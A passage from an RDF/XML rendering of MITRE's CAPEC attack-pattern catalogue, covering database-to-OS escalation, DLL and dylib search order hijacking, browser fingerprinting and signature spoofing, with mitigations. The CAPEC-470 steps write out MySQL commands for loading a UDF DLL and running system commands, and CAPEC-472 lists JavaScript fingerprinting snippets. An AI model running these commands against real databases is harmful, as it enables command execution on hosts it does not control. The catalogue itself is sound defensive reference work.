(i.e. thinking that it is smaller than it really is).</xhtml:div> + + + + + + + + + + + + #indSkillSkill25502 + Skill_25502 + + + + + + + + + + + + + + Finding this particular buffer overflow may not be trivial. Also, stack and especially heap based buffer overflows require a lot of knowledge if the intended goal is arbitrary code execution. Not only that the adversary needs to write the shell code to accomplish their goals, but the adversary also needs to find a way to get the program execution to jump to the planted shell code. There also needs to be sufficient room for the payload. So not every buffer overflow will be exploitable, even by a skilled adversary. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Access to the program source or binary. If the program is only available in binary then a disassembler and other reverse engineering tools will be helpful.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence25508 + Consequence_25508 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence25514 + Consequence_25514 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence25518 + Consequence_25518 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence25522 + Consequence_25522 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Run Arbitrary Code</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence25529 + Consequence_25529 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Ensure that when parameter expansion happens in the code that the assumptions used to determine the resulting size of the parameter are accurate and that the new size of the parameter is visible to the whole system</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Attack Example: FTP glob()&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;The glob() function in FTP servers has been susceptible to attack as a result of incorrect resizing. This is an ftpd glob() Expansion LIST Heap Overflow Vulnerability. ftp daemon contains a heap-based buffer overflow condition. The overflow occurs when the LIST command is issued with an argument that expands into an oversized string after being processed by glob().&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;This buffer overflow occurs in memory that is dynamically allocated. It may be possible for adversaries to exploit this vulnerability and execute arbitrary code on the affected host.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;To exploit this, the adversary must be able to create directories on the target host.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;The glob() function is used to expand short-hand notation into complete file names. By sending to the FTP server a request containing a tilde (~) and other wildcard characters in the pathname string, a remote adversary can overflow a buffer and execute arbitrary code on the FTP server to gain root privileges. Once the request is processed, the glob() function expands the user input, which could exceed the expected length. In order to exploit this vulnerability, the adversary must be able to create directories on the FTP server.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;[REF-1]&lt;/xhtml:p&gt;See also: CVE-2001-0249</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Buffer overflow in the glob implementation in libc in NetBSD-current before 20050914, and NetBSD 2.* and 3.* before 20061203, as used by the FTP daemon, allows remote authenticated users to execute arbitrary code via a long pathname that results from path expansion.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;The limit computation of an internal buffer was done incorrectly. The size of the buffer in byte was used as element count, even though the elements of the buffer are 2 bytes long. Long expanded path names would therefore overflow the buffer.&lt;/xhtml:p&gt;See also: CVE-2006-6652</xhtml:div> + + + + + 120 + + + + + 119 + + + + + 118 + + + + + 130 + + + + + 131 + + + + + 74 + + + + + 20 + + + + + 680 + + + + + 697 + + + + + + + + + + + + #indReferenceReference25561 + Reference_25561 + + + + + + + + + REF-1 + + + + + + + + + + + + #indContentHistoryContentHistory25563 + Content_History_25563 + + + + + + + + + + + + + + + + #indSubmissionSubmission25564 + Submission_25564 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification25569 + Modification_25569 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + Updated Attack_Phases + + + + + + + + + + + + #indModificationModification25575 + Modification_25575 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-12-07 + + + + + Updated Attack_Phases + + + + + + + + + + + + #indModificationModification25581 + Modification_25581 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-09 + + + + + Updated Attack_Phases + + + + + + + + + + + + #indModificationModification25587 + Modification_25587 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Attack_Phases + + + + + + + + + + + + #indModificationModification25593 + Modification_25593 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Attack_Phases + + + + + + + + + + + + #indModificationModification25599 + Modification_25599 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attack_Phases + + + + + + + + + + + + #indModificationModification25605 + Modification_25605 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Example_Instances, Skills_Required + + + + + + + + + + + + #indModificationModification25611 + Modification_25611 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-10-21 + + + + + Updated Description, Execution_Flow + + + + + + + + + + + + #indModificationModification25617 + Modification_25617 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Example_Instances, Skills_Required + + + + + + + + + + + + #CAPEC-470 + Expanding Control over the Operating System from the Database + + + + + + + + + 470 + + + + + Expanding Control over the Operating System from the Database + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker is able to leverage access gained to the database to read / write data to the file system, compromise the operating system, create a tunnel for accessing the host machine, and use this access to potentially attack other machines on the same network as the database machine. Traditionally SQL injections attacks are viewed as a way to gain unauthorized read access to the data stored in the database, modify the data in the database, delete the data, etc. However, almost every data base management system (DBMS) system includes facilities that if compromised allow an attacker complete access to the file system, operating system, and full access to the host running the database. The attacker can then use this privileged access to launch subsequent attacks. These facilities include dropping into a command shell, creating user defined functions that can call system level libraries present on the host machine, stored procedures, etc.</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern25631 + Related_Attack_Pattern_25631 + + + + + + + + + + + + + + 66 + + + + + + + + + + + + #indAttackStepAttackStep25634 + Attack_Step_25634 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary identifies a database management system running on a machine they would like to gain control over, or on a network they want to move laterally through.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep25639 + Attack_Step_25639 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary goes about the typical steps of an SQL injection and determines if an injection is possible.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep25644 + Attack_Step_25644 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Once the Adversary determines that an SQL injection is possible, they must ensure that the requirements for the attack are met. These are a high privileged session user and batched query support. This is done in similar ways to discovering if an SQL injection is possible.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep25649 + Attack_Step_25649 + + + + + + + + + 4 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">If the requirements are met, based on the database management system that is running, the adversary will find or create user defined functions (UDFs) that can be loaded as DLLs. An example of a DLL can be found at https://github.com/rapid7/metasploit-framework/tree/master/data/exploits/mysql</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep25654 + Attack_Step_25654 + + + + + + + + + 5 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">In order to load the DLL, the adversary must first find the path to the plugin directory. The command to achieve this is different based on the type of DBMS, but for MySQL, this can be achieved by running the command "select @@plugin_dir"</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep25659 + Attack_Step_25659 + + + + + + + + + 6 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The DLL is then moved into the previously found plugin directory so that the contained functions can be loaded. This can be done in a number of ways; loading from a network share, writing the entire hex encoded string to a file in the plugin directory, or loading the DLL into a table and then into a file. An example using MySQL to load the hex string is as follows. select 0x4d5a9000... into dump file "{plugin directory}\\\\udf.dll";</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep25664 + Attack_Step_25664 + + + + + + + + + 6 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Once the DLL is in the plugin directory, a command is then run to load the UDFs. An example of this in MySQL is "create function sys_eval returns string soname 'udf.dll';" The function sys_eval is specific to the example DLL listed above.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep25669 + Attack_Step_25669 + + + + + + + + + 6 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Once the adversary has loaded the desired function(s), they will use these to execute arbitrary commands on the compromised system. This is done through a simple select command to the loaded UDF. For example: "select sys_eval('dir');". Because the prerequisite to this attack is that the database session user is a super user, this means that the adversary will be able to execute commands with elevated privileges.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A vulnerable DBMS is usedA SQL injection exists that gives an attacker access to the database or an attacker has access to the DBMS via other means</xhtml:div> + + + + + + + + + + + + #indSkillSkill25679 + Skill_25679 + + + + + + + + + + + + + + Low level knowledge of the various facilities available in different DBMS systems for interacting with the file system and operating system + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Follow the defensive programming practices needed to protect an application accessing the database from SQL injection</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Configuration: Ensure that the DBMS is patched with the latest security patches</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Ensure that the DBMS login used by the application has the lowest possible level of privileges in the DBMS</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Ensure that DBMS runs with the lowest possible level of privileges on the host machine and that it runs as a separate user</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Usage: Do not use the DBMS machine for anything else other than the database</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Usage: Do not place any trust in the database host on the internal network. Authenticate and validate all network activity originating from the database host.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Usage: Use an intrusion detection system to monitor network connections and logs on the database host.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Remove / disable all unneeded / unused functions of the DBMS system that may allow an attacker to elevate privileges if compromised</xhtml:div> + + + + + 250 + + + + + 89 + + + + + + + + + + + + #indReferenceReference25696 + Reference_25696 + + + + + + + + + REF-408 + + + + + + + + + + + + #indContentHistoryContentHistory25698 + Content_History_25698 + + + + + + + + + + + + + + + + #indSubmissionSubmission25699 + Submission_25699 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification25704 + Modification_25704 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Execution_Flow, Mitigations + + + + + + + + + + + + #CAPEC-471 + Search Order Hijacking + + + + + + + + + 471 + + + + + Search Order Hijacking + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary exploits a weakness in an application's specification of external libraries to exploit the functionality of the loader where the process loading the library searches first in the same directory in which the process binary resides and then in other directories. Exploitation of this preferential search order can allow an attacker to make the loading process load the adversary's rogue library rather than the legitimate library. This attack can be leveraged with many different libraries and with many different loading processes. No forensic trails are left in the system's registry or file system that an incorrect library had been loaded.</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern25716 + Related_Attack_Pattern_25716 + + + + + + + + + + + + + + 159 + + + + + + + + + + + + #indAttackStepAttackStep25719 + Attack_Step_25719 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Identify target general susceptibility] An attacker uses an automated tool or manually finds whether the target application uses dynamically linked libraries and the configuration file or look up table (such as Procedure Linkage Table) which contains the entries for dynamically linked libraries.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker uses a tool such as the OSX "otool" utility or manually probes whether the target application uses dynamically linked libraries.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker finds the configuration files containing the entries to the dynamically linked libraries and modifies the entries to point to the malicious libraries the attacker crafted.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep25726 + Attack_Step_25726 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Craft malicious libraries] The attacker uses knowledge gained in the Explore phase to craft malicious libraries that they will redirect the target to leverage. These malicious libraries could have the same APIs as the legitimate library and additional malicious code.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker monitors the file operations performed by the target application using a tool like dtrace or FileMon. And the attacker can delay the operations by using "sleep(2)" and "usleep()" to prepare the appropriate conditions for the attack, or make the application perform expansive tasks (large files parsing, etc.) depending on the purpose of the application.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep25732 + Attack_Step_25732 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Redirect the access to libraries to the malicious libraries] The attacker redirects the target to the malicious libraries they crafted in the Experiment phase. The attacker will be able to force the targeted application to execute arbitrary code when the application attempts to access the legitimate libraries.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker modifies the entries in the configuration files pointing to the malicious libraries they crafted.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker leverages symlink/timing issues to redirect the target to access the malicious libraries they crafted. See also: CAPEC-132.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker leverages file search path order issues to redirect the target to access the malicious libraries they crafted. See also: CAPEC-38.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Attacker has a mechanism to place its malicious libraries in the needed location on the file system.</xhtml:div> + + + + + + + + + + + + #indSkillSkill25745 + Skill_25745 + + + + + + + + + + + + + + Ability to create a malicious library. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Fix the Windows loading process to eliminate the preferential search order by looking for DLLs in the precise location where they are expected</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Sign system DLLs so that unauthorized DLLs can be detected.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">For instance, an attacker with access to the file system may place a malicious ntshrui.dll in the C:\\Windows directory. This DLL normally resides in the System32 folder. Process explorer.exe which also resides in C:\\Windows, upon trying to load the ntshrui.dll from the System32 folder will actually load the DLL supplied by the attacker simply because of the preferential search order. Since the attacker has placed its malicious ntshrui.dll in the same directory as the loading explorer.exe process, the DLL supplied by the attacker will be found first and thus loaded in lieu of the legitimate DLL. Since explorer.exe is loaded during the boot cycle, the attackers' malware is guaranteed to execute.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">macOS and OS X use a common method to look for required dynamic libraries (dylib) to load into a program based on search paths. Adversaries can take advantage of ambiguous paths to plant dylibs to gain privilege escalation or persistence. A common method is to see what dylibs an application uses, then plant a malicious version with the same name higher up in the search path. This typically results in the dylib being in the same folder as the application itself. If the program is configured to run at a higher privilege level than the current user, then when the dylib is loaded into the application, the dylib will also run at that elevated level.</xhtml:div> + + + + + 427 + + + + + + + + + + + + #indTaxonomyMappingHijackExecutionFlowDLLSearchOrderHijacking + Hijack Execution Flow:DLL search order hijacking + + + + + + + + + + + + + + 1574.001 + + + + + Hijack Execution Flow:DLL search order hijacking + + + + + + + + + + + + #indTaxonomyMappingHijackExecutionFlowDylibHijacking + Hijack Execution Flow: Dylib Hijacking + + + + + + + + + + + + + + 1574.004 + + + + + Hijack Execution Flow: Dylib Hijacking + + + + + + + + + + + + #indTaxonomyMappingHijackExecutionFlowPathInterceptionBySearchOrderHijacking + Hijack Execution Flow: Path Interception by Search Order Hijacking + + + + + + + + + + + + + + 1574.008 + + + + + Hijack Execution Flow: Path Interception by Search Order Hijacking + + + + + + + + + + + + #indReferenceReference25773 + Reference_25773 + + + + + + + + + REF-409 + + + + + + + + + + + + #indContentHistoryContentHistory25775 + Content_History_25775 + + + + + + + + + + + + + + + + #indSubmissionSubmission25776 + Submission_25776 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification25781 + Modification_25781 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + Updated References + + + + + + + + + + + + #indModificationModification25787 + Modification_25787 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attack_Phases, Attack_Prerequisites, Attacker_Skills_or_Knowledge_Required, Description, Description Summary, Examples-Instances, References, Related_Weaknesses + + + + + + + + + + + + #indModificationModification25793 + Modification_25793 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification25799 + Modification_25799 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Execution_Flow, Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification25805 + Modification_25805 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Mitigations + + + + + + + + + + + + #indModificationModification25811 + Modification_25811 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification25817 + Modification_25817 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName25823 + Previous_Entry_Name_25823 + + + + + + + + + 2018-07-31 + + + + + DLL Search Order Hijacking + + + + + + + + + + + + #CAPEC-472 + Browser Fingerprinting + + + + + + + + + 472 + + + + + Browser Fingerprinting + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker carefully crafts small snippets of Java Script to efficiently detect the type of browser the potential victim is using. Many web-based attacks need prior knowledge of the web browser including the version of browser to ensure successful exploitation of a vulnerability. Having this knowledge allows an attacker to target the victim with attacks that specifically exploit known or zero day weaknesses in the type and version of the browser used by the victim. Automating this process via Java Script as a part of the same delivery system used to exploit the browser is considered more efficient as the attacker can supply a browser fingerprinting method and integrate it with exploit code, all contained in Java Script and in response to the same web page request by the browser.</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern25830 + Related_Attack_Pattern_25830 + + + + + + + + + + + + + + 541 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Victim's browser visits a website that contains attacker's Java ScriptJava Script is not disabled in the victim's browser</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Configuration: Disable Java Script in the browser</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;The following code snippets can be used to detect various browsers:&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;"&gt; + &lt;xhtml:b&gt;Firefox 2/3&lt;/xhtml:b&gt; + &lt;xhtml:div style="margin-left:1em;"&gt;FF=/a/[-1]=='a'&lt;/xhtml:div&gt; + &lt;xhtml:b&gt;Firefox 3&lt;/xhtml:b&gt; + &lt;xhtml:div style="margin-left:1em;"&gt;FF3=(function x(){})[-5]=='x'&lt;/xhtml:div&gt; + &lt;xhtml:b&gt;Firefox 2&lt;/xhtml:b&gt; + &lt;xhtml:div style="margin-left:1em;"&gt;FF2=(function x(){})[-6]=='x'&lt;/xhtml:div&gt; + &lt;xhtml:b&gt;IE&lt;/xhtml:b&gt; + &lt;xhtml:div style="margin-left:1em;"&gt;IE='\\v'=='v'&lt;/xhtml:div&gt; + &lt;xhtml:b&gt;Safari&lt;/xhtml:b&gt; + &lt;xhtml:div style="margin-left:1em;"&gt;Saf=/a/.__proto__=='//'&lt;/xhtml:div&gt; + &lt;xhtml:b&gt;Chrome&lt;/xhtml:b&gt; + &lt;xhtml:div style="margin-left:1em;"&gt;Chr=/source/.test((/a/.toString+''))&lt;/xhtml:div&gt; + &lt;xhtml:b&gt;Opera&lt;/xhtml:b&gt; + &lt;xhtml:div style="margin-left:1em;"&gt;Op=/^function \\(/.test([].sort)&lt;/xhtml:div&gt; + &lt;/xhtml:div&gt; + </xhtml:div> + + + + + 200 + + + + + + + + + + + + #indReferenceReference25863 + Reference_25863 + + + + + + + + + REF-410 + + + + + + + + + + + + #indContentHistoryContentHistory25865 + Content_History_25865 + + + + + + + + + + + + + + + + #indSubmissionSubmission25866 + Submission_25866 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification25871 + Modification_25871 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Example_Instances + + + + + + + + + + + + #CAPEC-473 + Signature Spoof + + + + + + + + + 473 + + + + + Signature Spoof + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker generates a message or datablock that causes the recipient to believe that the message or datablock was generated and cryptographically signed by an authoritative or reputable source, misleading a victim or victim operating system into performing malicious actions.</xhtml:div> + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern25882 + Related_Attack_Pattern_25882 + + + + + + + + + + + + + + 151 + + + + + 515 + + + + + 512 + + + + + 403 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The victim or victim system is dependent upon a cryptographic signature-based verification system for validation of one or more security events or actions.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The validation can be bypassed via an attacker-provided signature that makes it appear that the legitimate authoritative or reputable source provided the signature.</xhtml:div> + + + + + + + + + + + + #indSkillSkill25893 + Skill_25893 + + + + + + + + + + + + + + Technical understanding of how signature verification algorithms work with data and applications + + + + + + + + + + + + #indConsequenceConsequence25895 + Consequence_25895 + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker provides a victim with a malicious executable disguised as a legitimate executable from an established software by signing the executable with a forged cryptographic key. The victim's operating system attempts to verify the executable by checking the signature, the signature is considered valid, and the attackers' malicious executable runs.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker exploits weaknesses in a cryptographic algorithm to that allow a private key for a legitimate software vendor to be reconstructed, attacker-created malicious software is cryptographically signed with the reconstructed key, and is installed by the victim operating system disguised as a legitimate software update from the software vendor.</xhtml:div> + + + + + 20 + + + + + 327 + + + + + 290 + + + + + + + + + + + + #indTaxonomyMappingMasqueradingInvalidCodeSignature + Masquerading: Invalid Code Signature + + + + + + + + + + + + + + 1036.001 + + + + + Masquerading: Invalid Code Signature + + + + + + + + + + + + #indTaxonomyMappingSubvertTrustControlsCodeSigning + Subvert Trust Controls: Code Signing + + + + + + + + + + + + + + 1553.002 + + + + + Subvert Trust Controls: Code Signing + + + + + + + + + + + + #indContentHistoryContentHistory25920 + Content_History_25920 + + + + + + + + + + + + + + + + #indSubmissionSubmission25921 + Submission_25921 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification25926 + Modification_25926 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification25932 + Modification_25932 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Related_Attack_Patterns, Taxonomy_Mappings + + + + + + + + + + + + #CAPEC-474 + Signature Spoofing by Key Theft + + + + + + + + + 474 + + + + + Signature Spoofing by Key Theft + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker obtains an authoritative or reputable signer's private signature key by theft and then uses this key to forge signatures from the original signer to mislead a victim into performing actions that benefit the attacker.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern25946 + Related_Attack_Pattern_25946 + + + + + + + + + + + + + + 473 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An authoritative or reputable signer is storing their private signature key with insufficient protection.</xhtml:div> + + + + + + + + + + + + #indSkillSkill25952 + Skill_25952 + + + + + + + + + + + + + + Knowledge of common location methods and access methods to sensitive data + + + + + + + + + + + + #indSkillSkill25953 + Skill_25953 + + + + + + + + + + + + + + Ability to compromise systems containing sensitive data + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Restrict access to private keys from non-supervisory accounts</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Restrict access to administrative personnel and processes only</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Ensure all remote methods are secured</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Ensure all services are patched and up to date</xhtml:div> + + + + + 522 + + + + + + + + + + + + #indTaxonomyMappingUnsecuredCredentialsPrivateKeys + Unsecured Credentials: Private Keys + + + + + + + + + + + + + + 1552.004 + + + + + Unsecured Credentials: Private Keys + + + + + + + + + + + + #indReferenceReference25971 + Reference_25971 + + + + + + + + + REF-411 + + + + + + + + + + + + #indReferenceReference25972 + Reference_25972 + + + + + + + + + REF-412 + + + + + + + + + + + + #indReferenceReference25973 + Reference_25973 + + + + + + + + + REF-413 + + + + + + + + + + + + #indContentHistoryContentHistory25975 + Content_History_25975 + + + + + + + + + + + + + + + + #indSubmissionSubmission25976 + Submission_25976 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification25981 + Modification_25981 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification25987 + Modification_25987 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Mitigations + + + + + + + + + + + + #indModificationModification25993 + Modification_25993 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #CAPEC-475 + Signature Spoofing by Improper Validation + + + + + + + + + 475 + + + + + Signature Spoofing by Improper Validation + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary exploits a cryptographic weakness in the signature verification algorithm implementation to generate a valid signature without knowing the key.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p 